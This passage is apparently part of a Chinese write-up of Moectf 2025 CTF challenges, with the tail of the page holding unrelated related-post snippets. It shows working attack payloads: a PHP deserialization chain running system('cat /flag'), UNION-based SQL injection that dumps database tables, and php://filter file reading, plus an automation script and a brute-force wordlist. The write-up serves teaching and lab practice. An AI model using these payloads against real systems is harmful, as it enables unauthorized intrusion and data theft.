function work(){
$name=$this->name;
eval($name);
}
}
$a=new PersonA();
$b=new PersonB();
$a->name=$b;
$b->name="system('ls');";
echo serialize($a);
?>
生成的poc为:O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:13:"system('ls');";}}。但是由于PersonA类中的name变量为私有的,需要对poc稍微修改一下。对于private变量,我们需要在类名和字段名前面都会加上\0的前缀,如果想放在浏览器中直接提交,我们可以将\0换成%00。所以修改过后的poc为O:7:"PersonA":1:{s:13:"%00PersonA%00name";O:7:"PersonB":1:{s:4:"name";s:13:"system(%27ls%27);";}},注意前面的长度值要对应的修改。
序列化结果各个字段的意思
O:1:"a":1:{s:4:"test";s:3:"123";}(O:类的名字长度:类名:变量数:{变量名类型:长度:具体的内容;变量值的类型:长度:具体的内容 })

查看根目录下的文件,poc为O:7:"PersonA":1:{s:13:"%00PersonA%00name";O:7:"PersonB":1:{s:4:"name";s:15:"system(%27ls%20/%27);";}},有个flag。

读取flag,poc为O:7:"PersonA":1:{s:13:"%00PersonA%00name";O:7:"PersonB":1:{s:4:"name";s:20:"system(%27cat%20/flag%27);";}}。

又拿到一个小说解压密码jYThfVs3HMmGazRP6M3Sfc5i。

摸金偶遇FLAG,拼尽全力难战胜
题目需要在几秒钟之内翻译摩斯密码,并提交。这个靠人工是铁定不行了,需要编写脚本。
打开开发者工具,点击开始挑战,看触发哪些数据包。

只有一条数据包,并且数据包的响应内容就是我们想要得到的内容,已经对摩斯密码进行了翻译。再看页面源代码,哪个接口是上传数据的,找到verify函数,并且它要上传的数据就是上一个数据包的响应内容。

流程走通了,编写脚本。
import requests
import json
url = "http://127.0.0.1:57503/get_challenge?count=9"
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
resp = requests.get(url, headers=headers)
json_resp = json.loads(resp.content)
answers = json_resp["numbers"]
token = json_resp["token"]
print(answers, token)
post_url = "http://127.0.0.1:57503/verify"
post_headers = {
"Content-Type": "application/json",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
data = {
"answers": answers,
"token": token,
}
post_resp = requests.post(url=post_url, data=json.dumps(data), headers=post_headers)
print(post_resp.content)
但是运行得不到flag,因为这两个数据包需要共享会话状态,若用requests那么每次都会创建一个新会话,这里要用session去访问才行。
import requests
import json
sess = requests.session()
url = "http://127.0.0.1:57503/get_challenge?count=9"
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
resp = sess.get(url, headers=headers)
json_resp = json.loads(resp.content)
answers = json_resp["numbers"]
token = json_resp["token"]
print(answers, token)
post_url = "http://127.0.0.1:57503/verify"
post_headers = {
"Content-Type": "application/json",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
data = {
"answers": answers,
"token": token,
}
post_resp = sess.post(url=post_url, data=json.dumps(data), headers=post_headers)
print(post_resp.content)
运行得到flag。

08 第八章 天衍真言,星图显圣
还是sql注入题,输入admin' or 1=1#,显示欢迎admin。

在输入admin' and 1=2#,显示登录失败,验证存在sql注入。

利用admin' order by 2#判断字段数为2。

利用aaaa' union select 1111,2222#判断显示为1111。

利用aaaa' union select database(),2222#获取数据库为user。

利用aaaa' union select table_name,2222 from information_schema.tables where table_schema=database()#获取user库中的表名。

利用aaaa' union select column_name,2222 from information_schema.columns where table_schema=database() and table_name='flag'#获取flag表中的列名。

利用aaaa' union select value,2222 from flag#获取value列的值,拿到flag。

又拿到一个小说解压密码vigv8Vt5AVCkG8tRI@auP^u3。

11 第十一章 千机变·破妄之眼
根据题目提示参数名由m,n,o,p,q五个字母组成,并且需要参数名等于参数值。

编写python脚本生成所有的排列组合。
import itertools
# 生成m,n,o,p,q能够产生的所有排列
choices = []
for temp in itertools.permutations('mnopq', 5):
choices.append("".join(list(temp)))
for choice in choices:
with open("choice.txt", "a") as file:
file.writelines(choice+"\n")
利用burp的intruder模块进行爆破,发现onqpm的组合是正确的。(爆破的时候记得做点延时)


将onqpm作为参数名和参数值访问。

点击关注重定向,可以得到一个find.php页面。

访问find.php页面,有三个文件,其中一个就是flag.php。

点击flag.php,却显示境界不够看不到。

可以注意到url中有一个file传参,这就可以利用php的伪协议去读取了。poc:file=php://filter/convert.base64-encode/resource=./flag.php

对结果进行base64解码拿到flag。

又拿到一个小说解压密码W3WOVC8XU1v_189G0dINixcb。

西电CTF平台——Moectf 2025 WriteUP的更多相关文章
- 从电商平台促销活动看电商app开发趋势
据亿合科技小编了解到:尽管各大电商平台都进入了品质和品牌时代,但对于消费者来说,低价依然是一个有吸引力的因素.尼尔森<网络购物者趋势研究>报告显示,2016年价格敏感型购物者的比例从15% ...
- solr在电商平台中的使用示例简析
来源:http://blog.csdn.net/yangbutao/article/details/9450463 在电商平台中搜索是非常重要的功能,主要包括有搜索词类目导航.自动提示和搜索排序功能 ...
- 电商平台如何接入快递鸟电子面单API?
快递鸟是全球物流接口服务商,为电商 ERP.电商平台.仓储.清关公司提供物流跟踪.电子面单.智选物流.物流金融.在线下单等服务,解决电商的物流管理模块和金融模块.现就对快递鸟电子面单API做基本描述, ...
- 题解西电OJ (Problem 1007 -做一名正气的西电人 )--长整型计算
Description 一天,wm和zyf想比比谁比较正气,但正气这种东西无法量化难以比较,为此,他们想出了一个方法,两人各写一个数字,然后转化为二进制,谁的数字中二进制1多谁就比较正气! Input ...
- 谈B2B电商平台与大数据
数据为王,服务为本——谈B2B电商平台与大数据 2013-06-27 11:10:41 作者:B2B行业资讯 标签: 大数据 ...
- R系列:关联分析;某电商平台的数据;做捆绑销售和商品关联推荐
附注:不要问我为什么写这么快,是16年写的. 一.分析目的 I用户在某电商平台买了A,那么平台接下来应该给用户推荐什么,即用户在买了商品A之后接下来买什么的倾向性最大: II应该把哪些商品在一起做捆绑 ...
- 以太坊开发DApp实战教程——用区块链、星际文件系统(IPFS)、Node.js和MongoDB来构建电商平台(一)
第一节 简介 欢迎和我们一起来用以太坊开发构建一个去中心化电商DApp!我们将用区块链.星际文件系统(IPFS).Node.js和MongoDB来构建电商平台类似淘宝的在线电商应用,卖家可以自由地出售 ...
- Java开源生鲜电商平台-系统简介
Java开源生鲜电商平台-系统简介 1.生鲜电商平台的价值与定位. 生鲜电商平台是一家致力于打造全国餐饮行业智能化.便利化.平台化与透明化服务的创新型移动互联网平台,连接买家与卖家之间的一个平台 看以 ...
- Java开源生鲜电商平台-系统架构与技术选型(源码可下载)
Java开源生鲜电商平台-系统架构与技术选型(源码可下载) 1. 硬件环境 公司服务器 2. 软件环境 2.1 操作系统 Linux CentOS 6.8系列 2.2 反向代理/web服务器 ...
- Java开源生鲜电商平台-盈利模式详解(源码可下载)
Java开源生鲜电商平台-盈利模式详解(源码可下载) 该平台提供一个联合买家与卖家的一个平台.(类似淘宝购物,这里指的是食材的购买.) 平台有以下的盈利模式:(类似的平台有美菜网,食材网等) 1. 订 ...
随机推荐
- 算法实现2D OBB碰撞
box using System; using System.Collections; using System.Collections.Generic; using UnityEngine; pub ...
- vector的基本使用
以 [深基5.例3]冰雹猜想 此题为例,使用vector 题目描述 给出一个正整数 n,然后对这个数字一直进行下面的操作:如果这个数字是奇数,那么将其乘 3 再加 1,否则除以 2.经过若干次循环后, ...
- Origin图表技巧之轻松绘制阶梯图
阶梯图是将两个相邻数据点采用水平阶梯线或垂直阶梯线相连形成的一种图表,又分为水平阶梯图和垂直阶梯图,下面给大家分享使用Origin软件绘制阶梯轴的方法: 操作步骤: 1.打开Origin2022软件, ...
- D - Problem D. Game HDU - 6312
Alice and Bob are playing a game. The game is played on a set of positive integers from 1 to n. In o ...
- ChatGPT应用指南
ChatGPT应用指南 什么是ChatGPT 定义:ChatGPT是一种基于大规模预训练语言模型(Large Language Model,LLM)的聊天机器人,它能够与人类进行自然.流畅.有趣的对话 ...
- 有了解过ZGC吗
ZGC是一种垃圾回收器,由Oracle开发,主要用于Java虚拟机(JVM)中,以下是其相关介绍 特点### 低延迟:ZGC采用了多种优化技术,如染色指针.读屏障等,能够实现几乎停顿时间为零的垃圾回收 ...
- [题解]AtCoder Beginner Contest 387(ABC387) A~D
上周六没打,VP了四道,其他再补 A - Happy New Year 2025 Happy New Year 2025! 按题意输出\((a+b)^2\)即可. 点击查看代码 #include< ...
- 2025 年程式碼託管平台選誰?Gitee vs. GitHub 深度評析
Gitee崛起:中国开发者为何选择本土代码托管平台 在全球开源生态中,代码托管平台一直是开发者协作的核心基础设施.近年来,随着中国数字经济的快速发展,本土开发者对代码托管平台的需求呈现出明显的差异化特 ...
- cvat 标图工具部署文档
ps: 由于此文档比较久了.官网的cvat更新多次,已经不太适用了. 还是查看官方文档进行构建. 需要注意的是,下面的nginx替换是因为使用了域名解析的方式,只要把default.conf配置文件修 ...
- 能够动态推断与生成DTO是Node生态的一个重要里程碑
在开发后端 API 服务时,DTO 是进行参数验证.生成Swagger元数据的关键节点.如果不能像推断类型一样动态推断出 DTO,那么,我们就仍然需要手工创建 DTO.随着业务的增长,复杂的表间关系会 ...